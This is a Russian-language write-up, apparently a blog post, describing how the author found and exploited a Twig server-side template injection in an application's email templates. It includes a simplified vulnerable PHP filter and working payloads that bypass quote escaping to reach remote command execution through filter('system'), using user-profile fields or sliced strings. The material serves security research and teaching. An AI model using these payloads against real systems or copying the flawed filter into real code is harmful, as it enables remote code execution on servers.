Попался тут интересный проект, в котором нашлась Twig SSTI'ка, до которой, чтобы добраться, нужно обойти несколько ограничений:
Удалось её обнаружить после того, как я решил поиграться с шаблонами для почты. Обычная нагрузка
{{7*7}} давала по итогу 7*7. Подумав, что это может быть какой-то кривой патч, я вставил нагрузку {{{{7*7}}}} и получил в итоге 49 (никогда не думал, что встречу такой тупизм :D) ! Казалось бы, что это победа, однако если нагрузка сложнее математической операции, например, {{{{['id']|filter('system')}}}}, то ничего не отрабатывало. Поэтому я решил залезть в код и поискать эту чудо-функцию =)Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст:
<?php
require_once 'vendor/autoload.php';
error_reporting(E_ERROR | E_PARSE);
class User {
public $username;
public $secondname;
public function __construct($username, $secondname) {
$this->username = $username;
$this->secondname = $secondname;
}
}
$allowed = ['user.username'];
function prepareVars(string $template, array $allowedKeys): string {
return preg_replace_callback(
'/\{\{(.*?)\}\}/i', //Регулярка для извлечения значения между {{...}}
function ($matches) use ($allowedKeys) {
$value = trim($matches[1] ?? ''); //Берётся наше значение
if (in_array($value, $allowedKeys)) { //Оно скорее всего не подпадает под $allowedKeys
return "{{ {$value} | raw }}";
}
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); //В итоге оно попадает сюда с ENT_QUOTES
},
$template
);
}
$username = $_GET['username'] ?? 'John';
$secondname = $_GET['secondname'] ?? 'Doe';
$user = new User($username, $secondname);
$templateInput = $_GET['template'] ?? 'Guest';
$fullTemplate = 'Hello ' . $templateInput;
$processedTemplate = prepareVars($fullTemplate, $allowed);
$loader = new \Twig\Loader\ArrayLoader([
'index' => $processedTemplate,
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['user' => $user]);
Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло:
Мне для той же нагрузки
{{['id']|filter('system')}} нужно передать именно соответствующие строки, необязательно их передавать в формате с кавычками, можно передать какую-либо доступную переменную, содержащую нужное значение. Например, мы тут видим, что можем использовать поля объекта класса User: через username передать id, а через secondname передать system. По итогу будет что-то типа такого - /?template={{{{[user.username]|filter(user.secondname)}}}}&username=id&secondname=system.В моём случае приложение было на
PHP Symfony, а данные о пользователе не передавались. Ознакомившись с документацией, можно узнать, что нам достаточно проставить необходимые значения в поля пользователя(просто зайти в раздел профиля УЗ и установить нужные значения), а дальше использовать их через {{app.user.*}} уже в Twig в уязвимом разделе.Если же у вас только одно контролируемое значение(например
subject), а нужно передать 2 строки в SSTI, то просто в subject пихаем 2 строки вместе: idsystem. А дальше извлекаем их посимвольно:{{[subject|slice(0,2)]|filter(subject|slice(-6))}}